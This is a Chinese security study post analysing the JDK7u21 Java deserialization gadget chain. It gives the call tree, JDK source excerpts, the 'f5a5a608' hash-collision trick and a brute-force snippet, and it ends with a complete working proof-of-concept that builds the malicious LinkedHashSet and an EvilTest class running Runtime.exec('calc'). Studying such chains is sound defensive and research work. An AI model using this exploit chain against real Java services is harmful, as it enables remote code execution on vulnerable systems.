JDK7u21反序列化链分析

0x00前言

前段时间一直忙着HW和重保,Java反序列化的学习也因此搁置了一段时间,现在来学一下非常经典的一条反序列化链——JDK7u21原生链。

0x01版本限制

顾名思义,只能在jdk版本<=jdk7u21的时候,才能使用这条链

0x02反序列化链分析

调用顺序:

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X) //第一次加入恶意Templates对象,会计算一次hash值
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)//代理对象走专门的Impl实现类去计算
            String.hashCode() (0)  
            //构造出hashCode=0,即刻使得代理对象的hash值等于恶意Templates对象的hash值
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()//set中加入代理对象时,就会与前面加入的恶意Templates调用equals
        AnnotationInvocationHandler.invoke()//调用代理对象的任何方法都会调用Handler.invoke()
          AnnotationInvocationHandler.equalsImpl()//通过if语句走入equalsImpl()
            Method.invoke()//遍历所有方法并执行
              ...
                TemplatesImpl.getOutputProperties()//也就会走到getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()
 */
image-20221102153339440

通过之前学习过的CC链我们可以知道,在CC链中,有两个类可以当成命令执行的载体:

  • org.apache.commons.collections.functors.ChainedTransformer
  • org.apache.xalan.xsltc.trax.TemplatesImpl

要想最终达到RCE的目的,通常都是需要调用Runtime.exec。使用TemplatesImpl的话需要满足以下几个条件:

  1. TemplatesImpl类的_name变量!=null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的bytecodes变量!=null
  4. _bytecodes变量存放的就是我们代码执行的类或字节码,恶意代码写在静态方法或构造方法中
  5. _bytecodes 中的类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet并重构方法

TemplatesImpl有四个方法:

  • TemplatesImpl.getOutputProperties()
  • TemplatesImpl.newTransformer()
  • TemplatesImpl.getTransletInstance()
  • TemplatesImpl.defineTransletClasses()

这其中前两个方法是public属性,后面两个是private属性。

所以我们就需要找到调用了TemplatesImpl.getOutputProperties()或者TemplatesImpl.newTransformer()的地方。在ysoserial中已经给出了答案——sun.reflect.annotation.AnnotationInvocationHandler.invoke

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

这里首先是进行了一个判断,member = method.getName(); 所以这里如果传入的方法名是equals,且参数的长度=1的时候。便会返回equalsImpl(args[0])

image-20221102140937765

equalsImpl()

private Boolean equalsImpl(Object o) {
    if (o == this)
        return true;

    if (!type.isInstance(o))
        return false;
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
        Object hisValue = null;
        AnnotationInvocationHandler hisHandler = asOneOfUs(o);
        if (hisHandler != null) {
            hisValue = hisHandler.memberValues.get(member);
        } else {
            try {
                hisValue = memberMethod.invoke(o);
            } catch (InvocationTargetException e) {
                return false;
            } catch (IllegalAccessException e) {
                throw new AssertionError(e);
            }
        }
        if (!memberValueEquals(ourValue, hisValue))
            return false;
    }
    return true;
}

这里首先判断了,传入的对象是否是type类的实例化对象,然后就会遍历type类的所有方法,并依次调用。只要我们在实例化 AnnotationInvocationHandler 时传⼊ Templates.class,然后equals() 的参数为 type 的实现类。

这样就会自动遍历所有方法并调用,也自然就会去调用TemplatesImpl.getOutputProperties()

image-20221102153422621

现在后续链如何寻找呢?换句话说: 如何找到哪里调用了AnnotationInvocationHandler.invoke

image-20221102160924265
image-20221102161027395

在AnnotationInvocationHandler的开头其实就能看到醒目的注释,他是一个代理类并实现了InvocationHandler接口。

当为某个类或接⼝指定 InvocationHandler 对象时,在调⽤该类或接⼝⽅法时,就会去调⽤指定 handler 的 invoke() ⽅法。因此,当我们使⽤ AnnotationInvocationHandler 创建 proxy object ,那么调⽤的所有⽅法都会变成对 invoke ⽅法的调⽤。

​ ——————Panda

也就是在调用AnnotationInvocationHandler的任意方法时,都会去调用AnnotationInvocationHandler.invoke()

所以我们需要使用AnnotationInvocationHandler创建一个Templates代理对象,然后调用Templates代理对象的equals方法,便可以走到equalsImpl(),并且调用TemplatesImpl.getOutputProperties()

现在需要找到一个反序列化的载体,需要满足两个条件:

  1. 要能够调⽤ proxy 的 equals ⽅法(这是我们刚才分析的)
  2. 要有反序列化接⼝——要能调⽤ readObject() ⽅法(这样才可以将我们的序列化数据传进去开始反序列化)

ysoserial的作者选择了LinkedHashSet类,它是HashSet的子类。在添加到set的元素会保持有序状态。在LinkedHashSet.readObject() 的⽅法中,各个元素被放进HashMap的时候,因为他不允许里面的元素重复,所以肯定会使用equals()进行比较。

HashSet的readObject()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

这里会循环的把set集合中的每一个对象都反序列化了之后,将其put到map中。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

首先判断key是否为空,然后后面的for循环中的if判断,e.hash == hash && ((k = e.key) == key || key.equals(k))

如果想要⾛到 key.equals(k) 就必须满⾜ e.hash == hash 并且 k!=e.key ,所以需要key不一样,但是计算的hash是一样的,也就是hash碰撞。key不一样很好判断,因为本身传入的Templates对象就跟代理对象不一样。

跟进一下hash运算的方法

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

这里调用了key.hashCode(),因为传入的key是templates的代理对象,所以这里调用hashCode()会先去调用AnnotationInvocationHandlerinvoke()

image-20221102200633682

而这里则会调用hashCodeImpl() 继续跟进

private int hashCodeImpl() {
    int result = 0;
    for (Map.Entry<String, Object> e : memberValues.entrySet()) {
        result += (127 * e.getKey().hashCode()) ^
            memberValueHashCode(e.getValue());
    }
    return result;
}

这里遍历memberValues对象中存储的键值对,当e.getKey().hashCode()=0时,并且value传入templates。

0在同TemplatesImpl对象的hash值进行异或,得到的结果自然也是TemplatesImpl对象的hash值本身,也就满足了e.hash=hash

经过hash碰撞,发现当key=f5a5a608时,e.getKey().hashCode()=0

public static void bruteHashCode() { 
	for (long i = 0; i < 9999999999L; i++) { 
		if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i)); 
        } 
    } 
} 

0x03POC

package com.le1a.jdk7u21;

import com.le1a.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class Jdk7u21Byle1a {
    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","le1a");

        HashMap<String, Object> memberValues = new HashMap<String, Object>();
        memberValues.put("f5a5a608","le1a");

        //创建AnnotationInvocationHandler对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, memberValues);

        //创建代理对象
        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                handler
        );


        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);

        memberValues.put("f5a5a608",templates);
        byte[] bytes = SerializeUtil.serialize(hashSet);
        SerializeUtil.unserialize(bytes);
    }
}
package com.le1a.util;


import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class SerializeUtil {
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static byte[] getEvilCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.le1a.EvilTest");
        byte[] code = clazzz.toBytecode();
        return code;
    }

    public static void unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bain);
        oin.readObject();

    }

    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream baout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(baout);
        oout.writeObject(o);
        return baout.toByteArray();
    }


    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
package com.le1a;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTest extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

0x04总结

大概过程:

  1. 调用代理对象的方法时,会先调用InvocationHandler.invoke()
  2. 当调用的方法是equals()时,会走到equalsImpl(),其中会遍历该代理对象的所有方法并调用
  3. 也就是说当传入的是Templates的代理对象时,会最终走到TemplatesImpl.getOutputProperties(),最终走到runtime.exec()

精华的点:

  1. 使HashSet中传入的两个对象的hash值相等,需要代理对象的hashCode()TemplatesImpl对象的hashCode()相同。但是TemplatesImplhashCode()是个Native()方法,每次运行都会改变,所以不可控。通过e.getKey().hashCode()=0达到目的
  2. 通过将一个恶意Templates对象和一个Templates代理对象放入HashSet。Set实际上相当于只存储key、不存储value的Map。我们经常用Set用于去除重复元素。因为对象不重复,因此就会涉及到比较,从而调用equals()

0x05参考

seebug

feng

ch1e

知识星球——《代码审计》